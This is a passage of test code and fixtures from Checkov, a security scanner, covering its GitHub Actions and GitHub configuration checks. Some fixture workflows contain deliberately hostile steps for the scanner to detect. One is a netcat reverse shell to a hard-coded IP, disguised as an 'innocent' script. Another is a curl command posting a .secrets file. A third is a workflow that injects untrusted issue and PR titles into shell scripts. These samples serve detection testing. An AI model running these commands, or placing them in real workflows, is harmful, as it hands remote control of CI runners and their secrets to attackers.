checks = [ "CKV_GITHUB_4", "CKV_GITHUB_5", "CKV_GITHUB_8", "CKV_GITHUB_10", "CKV_GITHUB_11", "CKV_GITHUB_12", "CKV_GITHUB_13", "CKV_GITHUB_14", "CKV_GITHUB_15", "CKV_GITHUB_16", "CKV_GITHUB_17", "CKV_GITHUB_18", ] report = runner.run( root_folder=valid_dir_path, runner_filter=RunnerFilter(checks=checks) ) self.assertEqual(len(report.failed_checks), 4) self.assertEqual(report.parsing_errors, []) self.assertEqual(len(report.passed_checks), 7) self.assertEqual(report.skipped_checks, []) @mock.patch.dict(os.environ, {"CKV_GITHUB_CONFIG_FETCH_DATA": "False", "PYCHARM_HOSTED": "1"}, clear=True) def test_runner_repo_admin_collaborators(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = os.path.join(current_dir, "resources", "github_conf", "collaborators") runner = Runner() runner.github.github_conf_dir_path = valid_dir_path checks = ["CKV_GITHUB_9"] report = runner.run( root_folder=valid_dir_path, runner_filter=RunnerFilter(checks=checks) ) self.assertEqual(len(report.failed_checks), 1) self.assertEqual(report.parsing_errors, []) self.assertEqual(len(report.passed_checks), 0) self.assertEqual(report.skipped_checks, []) @mock.patch.dict(os.environ, {"CKV_GITHUB_CONFIG_FETCH_DATA": "False", "PYCHARM_HOSTED": "1"}, clear=True) def test_runner_empty_repo_collaborators(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = os.path.join(current_dir, "resources", "github_conf", "empty_collabs") runner = Runner() runner.github.github_conf_dir_path = valid_dir_path checks = ["CKV_GITHUB_9"] report = runner.run( root_folder=valid_dir_path, runner_filter=RunnerFilter(checks=checks) ) self.assertEqual(len(report.failed_checks), 0) self.assertEqual(report.parsing_errors, []) self.assertEqual(len(report.passed_checks), 0) self.assertEqual(report.skipped_checks, []) @mock.patch.dict(os.environ, {"CKV_GITHUB_CONFIG_FETCH_DATA": "False", "PYCHARM_HOSTED": "1"}, clear=True) def test_runner_repo_security_no_rules(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = os.path.join(current_dir, "resources", "github_conf", "repo_no_rules") runner = Runner() runner.github.github_conf_dir_path = valid_dir_path checks = ["CKV_GITHUB_4", "CKV_GITHUB_5"] report = runner.run( root_folder=valid_dir_path, runner_filter=RunnerFilter(checks=checks) ) self.assertEqual(len(report.failed_checks), 2) self.assertEqual(report.parsing_errors, []) self.assertEqual(len(report.passed_checks), 0) self.assertEqual(report.skipped_checks, []) @mock.patch.dict(os.environ, {"CKV_GITHUB_CONFIG_FETCH_DATA": "False", "PYCHARM_HOSTED": "1"}, clear=True) def test_runner_object_passing_check(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = os.path.join(current_dir, "resources", "github_conf", "pass") runner = Runner() runner.github.github_conf_dir_path = valid_dir_path checks = ["CKV_GITHUB_1", "CKV_GITHUB_2", "CKV_GITHUB_3"] report = runner.run( root_folder=valid_dir_path, runner_filter=RunnerFilter(checks=checks) ) self.assertEqual(len(report.failed_checks), 0) self.assertEqual(report.parsing_errors, []) self.assertEqual(len(report.passed_checks), 3) self.assertEqual(report.skipped_checks, []) @mock.patch.dict(os.environ, {"CKV_GITHUB_CONFIG_FETCH_DATA": "False", "PYCHARM_HOSTED": "1"}, clear=True) def test_runner_files_ignore(self): # given test_file = Path(__file__).parent / "resources/github_conf/pass/org_security.json" checks = ["CKV_GITHUB_1", "CKV_GITHUB_2", "CKV_GITHUB_3"] # when report = Runner().run( files=[str(test_file)], runner_filter=RunnerFilter(checks=checks) ) # then # even it points to a file with scannable content, it should skip it self.assertEqual(len(report.passed_checks), 0) self.assertEqual(len(report.failed_checks), 0) self.assertEqual(len(report.parsing_errors), 0) self.assertEqual(len(report.skipped_checks), 0) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/github_actions/__init__.py ================================================ ================================================ FILE: tests/github_actions/checks/__init__.py ================================================ ================================================ FILE: tests/github_actions/checks/extra_yaml_checks/JobsStepsConnection.yaml ================================================ metadata: id: "CKV2_GHA_CUSTOM_2" name: "Ensure job permissions write is not used with docker/login-action action" category: "IAM" definition: and: - cond_type: filter attribute: resource_type operator: within value: - steps - or: - and: - cond_type: connection resource_types: - jobs connected_resource_types: - steps operator: exists - cond_type: attribute resource_types: - jobs attribute: permissions.contents operator: not_equals value: write - and: - cond_type: connection resource_types: - jobs connected_resource_types: - steps operator: exists - cond_type: attribute resource_types: - jobs attribute: permissions.contents operator: equals value: write - cond_type: attribute resource_types: - steps attribute: uses operator: not_starting_with value: "docker/login-action" ================================================ FILE: tests/github_actions/checks/extra_yaml_checks/OnPush.yaml ================================================ metadata: id: "CKV2_GHA_CUSTOM_3" name: "Ensure workflow is used on main push" category: "IAM" definition: cond_type: attribute resource_types: - "on" attribute: on.push.branches operator: contains value: main ================================================ FILE: tests/github_actions/checks/extra_yaml_checks/SimpleAttribute.yaml ================================================ metadata: id: "CKV2_GHA_CUSTOM_1" name: "Ensure job permissions don't contain contents write access" category: "IAM" definition: cond_type: attribute resource_types: - jobs attribute: permissions.contents operator: not_equals value: write ================================================ FILE: tests/github_actions/checks/graph_checks/__init__.py ================================================ ================================================ FILE: tests/github_actions/checks/graph_checks/resources/ReadOnlyTopLevelPermissions/.github/workflows/default.yaml ================================================ name: read-only on: workflow_dispatch: # if not set, then it is by default 'write-all' #permissions: write-all jobs: example: runs-on: ubuntu-latest steps: - uses: actions/checkout@93ea575cb5d8a053eaa0ac8fa3b40d7e05a33cc8 # v3 - run: | echo "working hard" ================================================ FILE: tests/github_actions/checks/graph_checks/resources/ReadOnlyTopLevelPermissions/.github/workflows/fail.yaml ================================================ name: read-only on: workflow_dispatch: permissions: write-all jobs: example: runs-on: ubuntu-latest steps: - uses: actions/checkout@93ea575cb5d8a053eaa0ac8fa3b40d7e05a33cc8 # v3 - run: | echo "working hard" ================================================ FILE: tests/github_actions/checks/graph_checks/resources/ReadOnlyTopLevelPermissions/.github/workflows/pass.yaml ================================================ name: read-only on: workflow_dispatch: permissions: read-all jobs: example: runs-on: ubuntu-latest steps: - uses: actions/checkout@93ea575cb5d8a053eaa0ac8fa3b40d7e05a33cc8 # v3 - run: | echo "working hard" ================================================ FILE: tests/github_actions/checks/graph_checks/resources/ReadOnlyTopLevelPermissions/.github/workflows/scope.yaml ================================================ name: read-only on: workflow_dispatch: permissions: contents: read pull-requests: write jobs: example: runs-on: ubuntu-latest steps: - uses: actions/checkout@93ea575cb5d8a053eaa0ac8fa3b40d7e05a33cc8 # v3 - run: | echo "working hard" ================================================ FILE: tests/github_actions/checks/graph_checks/resources/ReadOnlyTopLevelPermissions/expected.yaml ================================================ pass: - "pass.yaml.permissions.permissions" - "scope.yaml.permissions.permissions" fail: - "fail.yaml.permissions.permissions" - "default.yaml.permissions.permissions" evaluated_keys: - "permissions" ================================================ FILE: tests/github_actions/checks/graph_checks/resources/__init__.py ================================================ ================================================ FILE: tests/github_actions/checks/graph_checks/test_yaml_policies.py ================================================ import os import warnings from pathlib import Path from typing import List from parameterized import parameterized_class from tests.graph_utils.utils import set_db_connector_by_graph_framework, PARAMETERIZED_GRAPH_FRAMEWORKS from checkov.common.graph.graph_builder import CustomAttributes from checkov.common.models.enums import CheckResult from checkov.common.output.record import Record from checkov.common.output.report import Report from checkov.common.bridgecrew.check_type import CheckType from checkov.common.runners.graph_manager import ObjectGraphManager from checkov.github_actions.graph_builder.local_graph import GitHubActionsLocalGraph from tests.common.graph.checks.test_yaml_policies_base import TestYamlPoliciesBase @parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS) class TestYamlPolicies(TestYamlPoliciesBase): def __init__(self, args): db_connector = set_db_connector_by_graph_framework(self.graph_framework) graph_manager = ObjectGraphManager(db_connector=db_connector, source="GitHubActions") super().__init__( graph_manager=graph_manager, real_graph_checks_path=str( Path(__file__).parent.parent.parent.parent.parent / "checkov/github_actions/checks/graph_checks" ), test_checks_path="", check_type=CheckType.GITHUB_ACTIONS, test_file_path=__file__, args=args, ) def setUp(self) -> None: warnings.filterwarnings("ignore", category=ResourceWarning) warnings.filterwarnings("ignore", category=DeprecationWarning) def test_ReadOnlyTopLevelPermissions(self): self.go("ReadOnlyTopLevelPermissions", local_graph_class=GitHubActionsLocalGraph) def test_registry_load(self): registry = self.get_checks_registry() self.assertGreater(len(registry.checks), 0) def assert_evaluated_keys(self, expected_evaluated_keys: List[str], results: List[Record]): evaluated_keys_results = results[0].check_result["evaluated_keys"] self.assertCountEqual(expected_evaluated_keys, evaluated_keys_results) def create_report_from_graph_checks_results(self, checks_results, check): report = Report(CheckType.GITHUB_ACTIONS) first_results_key = list(checks_results.keys())[0] for check_result in checks_results[first_results_key]: entity = check_result["entity"] record = Record( check_id=check["id"], check_name=check["name"], check_result=check_result, code_block=[(0, "")], file_path=entity.get(CustomAttributes.FILE_PATH), file_line_range=[entity.get("__startline__"), entity.get("__endline__")], resource=f"{entity.get(CustomAttributes.RESOURCE_TYPE)}.{entity.get(CustomAttributes.BLOCK_NAME)}", entity_tags=entity.get("tags", {}), evaluations=None, check_class="", file_abs_path=entity.get(CustomAttributes.FILE_PATH), ) if check_result["result"] == CheckResult.PASSED: report.passed_checks.append(record) if check_result["result"] == CheckResult.FAILED: report.failed_checks.append(record) return report def assert_entities(self, expected_entities: List[str], results: List[Record], assertion: bool): self.assertEqual(len(expected_entities), len(results), f"mismatch in number of results in {'passed' if assertion else 'failed'}, " f"expected: {len(expected_entities)}, got: {len(results)}") for expected_entity in expected_entities: found = False for check_result in results: entity_id = f"{os.path.basename(check_result.file_path)}.{check_result.resource}" if entity_id == expected_entity: found = True break self.assertTrue(found, f"expected to find entity {expected_entity}, {'passed' if assertion else 'failed'}") ================================================ FILE: tests/github_actions/checks/test_extra_checks.py ================================================ from pathlib import Path from checkov.github_actions.runner import Runner from checkov.runner_filter import RunnerFilter EXTRA_YAML_CHECKS_DIR = Path(__file__).parent / "extra_yaml_checks" RESOURCES_DIR = Path(__file__).parent.parent / "resources" def test_simple_attribute_check(): # given test_file = str(RESOURCES_DIR / ".github/workflows/slsa-gen.yaml") runner = Runner() # when report = runner.run( files=[test_file], external_checks_dir=[str(EXTRA_YAML_CHECKS_DIR)], runner_filter=RunnerFilter(checks="CKV2_GHA_CUSTOM_1"), ) # remove all checks runner.graph_registry.checks.clear() # then summary = report.get_summary() passing_resources = { "jobs(build)", "jobs(scan)", } failing_resources = { "jobs(attest)", "jobs(provenance)", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} assert summary["passed"] == len(passing_resources) assert summary["failed"] == len(failing_resources) assert summary["skipped"] == 0 assert summary["parsing_errors"] == 0 assert passed_check_resources == passing_resources assert failed_check_resources == failing_resources def test_jobs_steps_connection_check(): # given test_file = str(RESOURCES_DIR / ".github/workflows/slsa-gen.yaml") runner = Runner() # when report = runner.run( files=[test_file], external_checks_dir=[str(EXTRA_YAML_CHECKS_DIR)], runner_filter=RunnerFilter(checks="CKV2_GHA_CUSTOM_2"), ) # remove all checks runner.graph_registry.checks.clear() # then summary = report.get_summary() failing_resources = { "jobs(attest).steps[6](Log in to GHCR)", } failed_check_resources = {c.resource for c in report.failed_checks} assert summary["passed"] == 18 assert summary["failed"] == len(failing_resources) assert summary["skipped"] == 0 assert summary["parsing_errors"] == 0 assert failed_check_resources == failing_resources def test_on_check(): # given test_file = str(RESOURCES_DIR / ".github/workflows/workflow_with_image.yml") runner = Runner() # when report = runner.run( files=[test_file], external_checks_dir=[str(EXTRA_YAML_CHECKS_DIR)], runner_filter=RunnerFilter(checks="CKV2_GHA_CUSTOM_3"), ) # remove all checks runner.graph_registry.checks.clear() # then summary = report.get_summary() passing_resources = { "on(CI)", } passed_check_resources = {c.resource for c in report.passed_checks} assert summary["passed"] == len(passing_resources) assert summary["failed"] == 0 assert summary["skipped"] == 0 assert summary["parsing_errors"] == 0 assert passed_check_resources == passing_resources ================================================ FILE: tests/github_actions/conftest.py ================================================ import pytest @pytest.fixture def definition(): return { "name": "CI", "on": { "push": { "branches": [ "main" ], "__startline__": 4, "__endline__": 5 }, "__startline__": 3, "__endline__": 5 }, "jobs": { "container-test-job": { "runs-on": "ubuntu-latest", "container": { "image": "node:14.16", "env": { "NODE_ENV": "development", "__startline__": 11, "__endline__": 12 }, "ports": [ 80 ], "volumes": [ "my_docker_volume:/volume_mount" ], "options": "--cpus 1", "__startline__": 9, "__endline__": 17 }, "steps": [ { "name": "Check for dockerenv file", "run": "(ls /.dockerenv && echo Found dockerenv) || (echo No dockerenv)\ncurl -X POST -s --data \"@.secrets\" /dev/null\n", "__startline__": 18, "__endline__": 23 } ], "__startline__": 7, "__endline__": 23 }, "second_job": { "runs-on": "ubuntu-latest", "steps": [ { "name": "Check for dockerenv file", "run": "(ls /.dockerenv && echo Found dockerenv) || (echo No dockerenv)\ncurl -X POST -s --data \"@.secrets\" /dev/null\n", "__startline__": 26, "__endline__": 30 } ], "__startline__": 24, "__endline__": 30 }, "no_step_name_job": { "runs-on": "ubuntu-latest", "steps": [ { "run": "(ls /.dockerenv && echo Found dockerenv) || (echo No dockerenv)\ncurl -X POST -s --data \"@.secrets\" /dev/null\n", "__startline__": 31, "__endline__": 35 } ], "__startline__": 24, "__endline__": 35 }, "__startline__": 6, "__endline__": 35 }, "__startline__": 1, "__endline__": 35 } @pytest.fixture() def bad_schema_files(): return {'bad_format.yaml', 'empty_jobs.yaml', 'nested_jobs.yaml'} ================================================ FILE: tests/github_actions/gha/.github/workflows/bad_workflows_dispatch.yaml ================================================ name: read-only on: workflow_dispatch: inputs: logLevel: description: 'Log level' required: true permissions: read-all jobs: example: runs-on: ubuntu-latest steps: - uses: actions/checkout@12345678 - run: | echo "working hard" ================================================ FILE: tests/github_actions/gha/.github/workflows/failed.yaml ================================================ name: read-only on: pull_request: types: [ opened, synchronize, labeled, unlabeled ] permissions: write-all jobs: example: runs-on: ubuntu-latest steps: - uses: actions/checkout@12345678 - run: | echo "working hard" ================================================ FILE: tests/github_actions/gha/.github/workflows/multi_file.yaml ================================================ name: CI on: push: branches: [ "main" ] pull_request: branches: [ "main" ] workflow_dispatch: jobs: --- name: Checkov on: push: branches: - master jobs: checkov-job: runs-on: ubuntu-latest name: checkov-action steps: - name: Checkout repo uses: actions/checkout@master - name: Run Checkov action id: checkov uses: bridgecrewio/checkov-action@master with: directory: terraform/ framework: terraform ================================================ FILE: tests/github_actions/gha/.github/workflows/multiple_on_descendants.yaml ================================================ name: Handle branches on: pull_request: types: [ opened, synchronize, labeled, unlabeled ] workflow_dispatch: jobs: handle_branches: runs-on: ubuntu-latest if: github.repository == 'org/content' steps: - name: Checkout uses: actions/checkout@v3 - name: Setup Python uses: actions/setup-python@v3 with: python-version: '3.9' - name: Install Python Dependencies run: | python -m pip install --upgrade pip - name: Delete Branches env: ADMIN_TOKEN: ${{ secrets.ADMIN_TOKEN }} run: | echo "Deleting branches" pipenv sync pipenv run ./delete_branches.py ================================================ FILE: tests/github_actions/gha/.github/workflows/on_list.yaml ================================================ name: Form Filled on: [push, fork] permissions: pull-requests: read jobs: form_filled: runs-on: ubuntu-latest if: contains(github.event.pull_request.title, '[FORM]') == false steps: - name: Checkout uses: actions/checkout@v3 - name: Setup Python uses: actions/setup-python@v3 with: python-version: '3.9' - name: Install Python Dependencies run: | python -m pip install --upgrade pip pip install pipenv==2021.5.29 pipenv sync - name: Check form filled env: PR_NUMBER: ${{ github.event.pull_request.number }} GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} run: | echo "Checking if contribution form needs to be filled for PR: $PR_NUMBER" pipenv run ./form.py --pr_number $PR_NUMBER ================================================ FILE: tests/github_actions/graph_builder/__init__.py ================================================ ================================================ FILE: tests/github_actions/graph_builder/test_local_graph.py ================================================ from collections import Counter from pathlib import Path from checkov.common.graph.graph_builder import CustomAttributes from checkov.common.graph.graph_builder.graph_components.block_types import BlockType from checkov.github_actions.graph_builder.graph_components.resource_types import ResourceType from checkov.github_actions.graph_builder.local_graph import GitHubActionsLocalGraph from checkov.github_actions.runner import Runner RESOURCES_DIR = Path(__file__).parent.parent / "resources" def test_build_graph(): # given test_file = str(RESOURCES_DIR / ".github/workflows/supply_chain.yaml") template, _ = Runner()._parse_file(f=test_file) local_graph = GitHubActionsLocalGraph(definitions={test_file: template}) # when local_graph.build_graph(render_variables=False) # then assert len(local_graph.vertices) == 6 assert len(local_graph.edges) == 2 assert len(local_graph.vertices_by_block_type[BlockType.RESOURCE]) == 6 job_ids = [vertex.id for vertex in local_graph.vertices if vertex.attributes.get(CustomAttributes.RESOURCE_TYPE) == ResourceType.JOBS] step_ids = [vertex.id for vertex in local_graph.vertices if vertex.attributes.get(CustomAttributes.RESOURCE_TYPE) == ResourceType.STEPS] permission_ids = [vertex.id for vertex in local_graph.vertices if vertex.attributes.get(CustomAttributes.RESOURCE_TYPE) == ResourceType.PERMISSIONS] assert job_ids == ["jobs.bridgecrew", "jobs.bridgecrew2"] assert step_ids == ["jobs.bridgecrew.steps.1", "jobs.bridgecrew2.steps.1"] assert permission_ids == ["permissions"] out_edge_counts = Counter([e.origin for e in local_graph.edges]) in_edge_counts = Counter([e.dest for e in local_graph.edges]) assert out_edge_counts == Counter({0: 1, 1: 1}) assert in_edge_counts == Counter({2: 1, 3: 1}) ================================================ FILE: tests/github_actions/resources/.github/workflows/bad_format.yaml ================================================ name: "stuff" on: workflow_dispatch: inputs: NODE_ENV: description: 'empty' required: true type: choice jobs: runs-on: [ ubuntu-latest ] CHG_Cleanup: name: "a_job" steps: - name: "something" run: | npm ci node src/index.js ================================================ FILE: tests/github_actions/resources/.github/workflows/docker-slsa.yaml ================================================ ### This workflow uses the SLSA generic provenenace generator workflow for a docker build ### Borrowed from https://github.com/marco-lancini/utils/blob/main/ci/github/docker-build-sign-sbom/reusable-docker.yml name: Reusable workflow - Docker on: workflow_call: inputs: FOLDER: required: true type: string AWS_ACCOUNT_NAME: required: true type: string AWS_ACCOUNT_ID: required: true type: string AWS_REGION: required: true type: string AWS_ROLE: required: true type: string REGISTRY: required: true type: string IMAGE_NAME: required: true type: string IMAGE_TAG: required: false type: string default: 'latest' jobs: # ============================================================================ # BUILD # ============================================================================ build: name: build runs-on: ubuntu-20.04 permissions: contents: read pull-requests: write id-token: write outputs: digest: ${{ steps.build-and-push-step.outputs.digest }} steps: - name: 📂 Checkout repository uses: actions/checkout@v3.0.2 # ======================================================================== # Install Tooling # ======================================================================== # Install cosign except on PR - name: 🔻 Install cosign if: github.event_name != 'pull_request' uses: sigstore/cosign-installer@main with: cosign-release: 'v1.9.0' # Setup docker build - name: 🔻 Setup Docker buildx uses: docker/setup-buildx-action@v2 # ======================================================================== # Authenticate to AWS/ECR (except on PR) # ======================================================================== # Get OIDC Token - name: 🎟 Configure AWS Credentials if: github.event_name != 'pull_request' uses: aws-actions/configure-aws-credentials@v1.6.1 with: aws-region: ${{ inputs.AWS_REGION }} role-to-assume: arn:aws:iam::${{ inputs.AWS_ACCOUNT_ID }}:role/${{ inputs.AWS_ROLE }} role-session-name: GithubActionsSession # Login against ECR - name: 🎟 Login to Amazon ECR if: github.event_name != 'pull_request' uses: aws-actions/amazon-ecr-login@v1 # ======================================================================== # Build locally and run Trivy (only in PR) # ======================================================================== - name: 🚧 Build locally if: github.event_name == 'pull_request' id: build_local uses: docker/build-push-action@master with: push: false file: ${{ inputs.FOLDER }}/Dockerfile tags: ${{ inputs.IMAGE_NAME }}:${{ inputs.IMAGE_TAG }} # Needed for trivy outputs: type=docker - name: 🛡 Run Trivy vulnerability scanner if: github.event_name == 'pull_request' id: docker_trivy uses: aquasecurity/trivy-action@0.2.5 continue-on-error: true with: image-ref: ${{ inputs.IMAGE_NAME }}:${{ inputs.IMAGE_TAG }} format: 'table' # WARN ONLY exit-code: '0' ignore-unfixed: true severity: 'CRITICAL,HIGH' # ======================================================================== # PR Output (only in PR) # ======================================================================== - name: 📄 Show Build Output if: github.event_name == 'pull_request' uses: actions/github-script@v6 env: BUILD: ${{ steps.build_local.outputs.metadata }} with: github-token: ${{ secrets.GITHUB_TOKEN }} script: | const output = `#### Image: 📋 \`${{ inputs.IMAGE_NAME }}\` | | Step | Result | | --- | ---------- | -------------------------------------------- | | 📖 | **Build** | \`${{ steps.build_local.outcome }}\` | | 🛡 | **Trivy** | \`${{ steps.docker_trivy.outcome }}\` | ### Build:
Build output \`\`\`${process.env.BUILD} \`\`\`
--- *Pusher: @${{ github.actor }}, Action: \`${{ github.event_name }}\`*`; github.rest.issues.createComment({ issue_number: context.issue.number, owner: context.repo.owner, repo: context.repo.repo, body: output }) # ======================================================================== # Build Image and push to ECR (except on PR) # ======================================================================== # Extract metadata (tags, labels) for Docker - name: 📭 Extract Docker metadata if: ${{ github.event_name != 'pull_request' }} id: meta uses: docker/metadata-action@v3.6.0 with: images: ${{ inputs.REGISTRY }}/${{ inputs.IMAGE_NAME }} # Build and push container image with Buildx (don't push on PR) - name: 🔨 Build and push container image if: github.ref == 'refs/heads/main' && ${{ github.event_name != 'pull_request' }} id: build-and-push-step uses: docker/build-push-action@master with: push: ${{ github.event_name != 'pull_request' }} file: ${{ inputs.FOLDER }}/Dockerfile labels: ${{ steps.meta.outputs.labels }} # Use tags: ${{ steps.meta.outputs.tags }} if you want to tag the image with branch name tags: ${{ inputs.REGISTRY }}/${{ inputs.IMAGE_NAME }}:${{ inputs.IMAGE_TAG }} # ======================================================================== # Sign Image Digest (except on PR) # ======================================================================== # Sign the resulting Docker image digest except on PRs. # This will only write to the public Rekor transparency log when the # repository is public to avoid leaking data # If you would like to publish transparency data even for private images, # pass --force to cosign below - name: 🔏 Sign the published image if: github.ref == 'refs/heads/main' && ${{ github.event_name != 'pull_request' }} env: COSIGN_EXPERIMENTAL: 'true' run: cosign sign ${{ inputs.REGISTRY }}/${{ inputs.IMAGE_NAME }}:${{ inputs.IMAGE_TAG }}@${{ steps.build-and-push-step.outputs.digest }} -a "repo=${{ github.repository }}" -a "ref=${{ github.sha }}" sbom: name: sbom runs-on: ubuntu-20.04 needs: [build] # Don't run in PR if: github.event_name != 'pull_request' permissions: contents: read id-token: write env: IMAGE_DIGEST: ${{ needs.build.outputs.digest }} steps: # ======================================================================== # Install Tooling # ======================================================================== # Install cosign except on PR - name: 🔻 Install cosign uses: sigstore/cosign-installer@main with: cosign-release: 'v1.9.0' # Install syft - name: 🔻 Install Syft uses: anchore/sbom-action/download-syft@v0.11.0 # ======================================================================== # Authenticate to AWS/ECR (except on PR) # ======================================================================== # Get OIDC Token - name: 🎟 Configure AWS Credentials if: github.event_name != 'pull_request' uses: aws-actions/configure-aws-credentials@v1.6.1 with: aws-region: ${{ inputs.AWS_REGION }} role-to-assume: arn:aws:iam::${{ inputs.AWS_ACCOUNT_ID }}:role/${{ inputs.AWS_ROLE }} role-session-name: GithubActionsSession # Login against ECR - name: 🎟 Login to Amazon ECR if: github.event_name != 'pull_request' uses: aws-actions/amazon-ecr-login@v1 # ======================================================================== # Create SBOM and attach it to image # ======================================================================== - name: 🎫 Attach SBOM to image env: COSIGN_EXPERIMENTAL: 'true' run: | syft "${{ inputs.REGISTRY }}/${{ inputs.IMAGE_NAME }}@${IMAGE_DIGEST}" -o spdx-json=sbom-spdx.json cosign attest --predicate sbom-spdx.json --type spdx "${{ inputs.REGISTRY }}/${{ inputs.IMAGE_NAME }}@${IMAGE_DIGEST}" echo "::notice title=Verify SBOM attestation::COSIGN_EXPERIMENTAL=1 cosign verify-attestation ${{ inputs.REGISTRY }}/${IMAGE_NAME}@${IMAGE_DIGEST} | jq '.payload |= @base64d | .payload | fromjson | select(.predicateType == \"https://spdx.dev/Document\") | .predicate.Data | fromjson'" ================================================ FILE: tests/github_actions/resources/.github/workflows/empty_jobs.yaml ================================================ name: pre-commit on: pull_request: push: branches: [master] jobs: ================================================ FILE: tests/github_actions/resources/.github/workflows/include_none_steps.yml ================================================ name: Include Empty/None steps on: push: branches: [ dev ] jobs: Dev-Deployment: name: Dev-Deployment runs-on: ubuntu-latest strategy: matrix: node-version: [14.x] steps: - name: Checkout repository uses: actions/checkout@v2 - - name: Output summary to console run: echo ${{ steps.run-newman.outputs.summary }} ================================================ FILE: tests/github_actions/resources/.github/workflows/list_workflow_dispatch.yml ================================================ name: 'scan' on: [pull_request] jobs: scan: name: 'IaC Scan' runs-on: ubuntu-latest # Use the Bash shell regardless whether the GitHub Actions runner is ubuntu-latest, macos-latest, or windows-latest defaults: run: shell: bash steps: # Checkout the repository to the GitHub Actions runner - name: Check out repository uses: actions/checkout@v2 ================================================ FILE: tests/github_actions/resources/.github/workflows/nested_jobs.yaml ================================================ name: "bad-github-actions" on: pull_request: branches: [ development ] jobs: action: - name: action-git-diff-suggestions uses: getsentry/action-git-diff-suggestions@v1 with: message: 'eslint made the following change' - name: test on: pull_request jobs: test: runs-on: ubuntu-latest steps: - uses: actions/checkout@v2 - uses: actions/setup-node@v1 with: node-version: 16 - run: npm run lint - uses: getsentry/action-git-diff-suggestions@main with: message: eslint - run: npm test ================================================ FILE: tests/github_actions/resources/.github/workflows/netcatreverseshell.yaml ================================================ name: REVERSESHELL # Controls when the workflow will run on: # Triggers the workflow on push or pull request events but only for the main branch push: # Allows you to run this workflow manually from the Actions tab workflow_dispatch: # A workflow run is made up of one or more jobs that can run sequentially or in parallel jobs: # This workflow contains a single job called "build" prep: name: prep runs-on: ubuntu-latest run: | rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 34.159.16.75 32032 >/tmp/f build: # The type of runner that the job will run on runs-on: ubuntu-latest # Steps represent a sequence of tasks that will be executed as part of the job steps: # Checks-out your repository under $GITHUB_WORKSPACE, so your job can access it - uses: actions/checkout@v3 # Runs a single command using the runners shell - name: Run a normal very innocent one-line script run: | rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|netcat 34.159.16.75 32032 >/tmp/f ================================================ FILE: tests/github_actions/resources/.github/workflows/off_value.yaml ================================================ name: PR Test on: pull_request permissions: read-all jobs: pre-commit: name: Run Pre-commit Hooks runs-on: ubuntu-latest permissions: checks: write # https://github.com/EnricoMi/publish-unit-test-result-action#permissions pull-requests: write steps: - uses: actions/checkout@v3 - name: Publish test results to GitHub. uses: EnricoMi/publish-unit-test-result-action@v2 if: always() with: junit_files: | reports/jest/junit.xml reports/junit/*.xml comment_mode: off ================================================ FILE: tests/github_actions/resources/.github/workflows/shell_injection.yaml ================================================ on: issues name: unsec33ure-worfklow jobs: unsecure-job: name: job1 runs-on: ubuntu-latest run: | title="${{ github.event.issue.title }}" if [[ ! $title =~ ^.*:\ .*$ ]]; then echo "Bad issue title" exit 1 fi secure-job: name: job2 runs-on: ubuntu-latest run: | echo "foo" unsecure-steps: runs-on: ubuntu-latest steps: - uses: actions/checkout@v2 - name: Check PR title run: | title="${{ github.event.pull_request.title }}" if [[ $title =~ ^octocat ]]; then echo "PR title starts with 'octocat'" exit 0 else echo "PR title did not start with 'octocat'" exit 1 fi - if: github.event_name == 'push' run: | title="${{ github.event.pull_request.title }}" if [[ $title =~ ^octocat ]]; then echo "PR title starts with 'octocat'" exit 0 else echo "PR title did not start with 'octocat'" exit 1 fi - name: Show author email run: | echo "${{ github.event.commits.fix-bug.author.email }}" - name: Show issue title run: | echo "${{ github.event.issue.title }}" - name: Show issue title no spaces run: | echo "${{github.event.issue.title}}" - name: Download and Extract Artifacts env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} run: | mkdir -p artifacts && cd artifacts artifacts_url=${{ github.event.workflow_run.artifacts_url }} gh api "$artifacts_url" -q '.artifacts[] | [.name, .archive_download_url] | @tsv' | while read artifact do IFS=$'\t' read name url <<< "$artifact" gh api $url > "$name.zip" unzip -d "$name" "$name.zip" done ================================================ FILE: tests/github_actions/resources/.github/workflows/slsa-gen.yaml ================================================ ### This workflow uses the SLSA generic provenenace generator workflow ### (see https://github.com/slsa-framework/slsa-github-generator/blob/main/internal/builders/generic/README.md) ### to generate a SLSA provenance type predicate for a container image built by ko (go container builder) ### and attesting to it and others, using a user-controlled key, ### stored as a secret in this GitHub repository, rather than keyless signing. ### This is based on https://github.com/chipzoller/zulu name: slsa-generic on: [push, workflow_dispatch] env: REGISTRY: ghcr.io IMAGE_NAME: ${{ github.repository }} jobs: # Publish with ko build build: runs-on: ubuntu-20.04 permissions: packages: write contents: read outputs: image: ${{ steps.ko-build.outputs.image }} base64digest: ${{ steps.set-digest.outputs.base64digest }} steps: - name: Checkout code uses: actions/checkout@2541b1294d2704b0964813337f33b291d3f8596b # v3.0.2 - name: Setup Golang uses: actions/setup-go@b22fbbc2921299758641fab08929b4ac52b32923 # v3.2.0 with: go-version: 1.18 - name: Setup ko run: go install github.com/google/ko@cefd28f093ffb342237aa9d692eee247e82235d5 # v0.11.2 - name: Log in to GHCR uses: docker/login-action@49ed152c8eca782a232dede0303416e8f356c37b # v2.0.0 with: registry: ${{ env.REGISTRY }} username: ${{ github.actor }} password: ${{ secrets.GITHUB_TOKEN }} - name: Publish image and SBOM (CycloneDX) id: ko-build run: | IMAGE=$(ko build ./ --bare -t latest -t ${{ github.sha }} --sbom=cyclonedx) echo "The image generated is: $IMAGE" echo "IMAGE=$IMAGE" >> $GITHUB_ENV echo "::set-output name=image::$IMAGE" env: KO_DOCKER_REPO: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }} - name: Set base64 encoded digest id: set-digest run: | BASE64_DIGEST=$(echo -n $IMAGE image.tar | awk -F':' '{print $2}' | base64 -w0) echo "Base64 encoded digest from image is: $BASE64_DIGEST" echo "::set-output name=base64digest::$BASE64_DIGEST" # Use the generic SLSA provenance generator to create a provenance predicate by providing, as the subject, # the 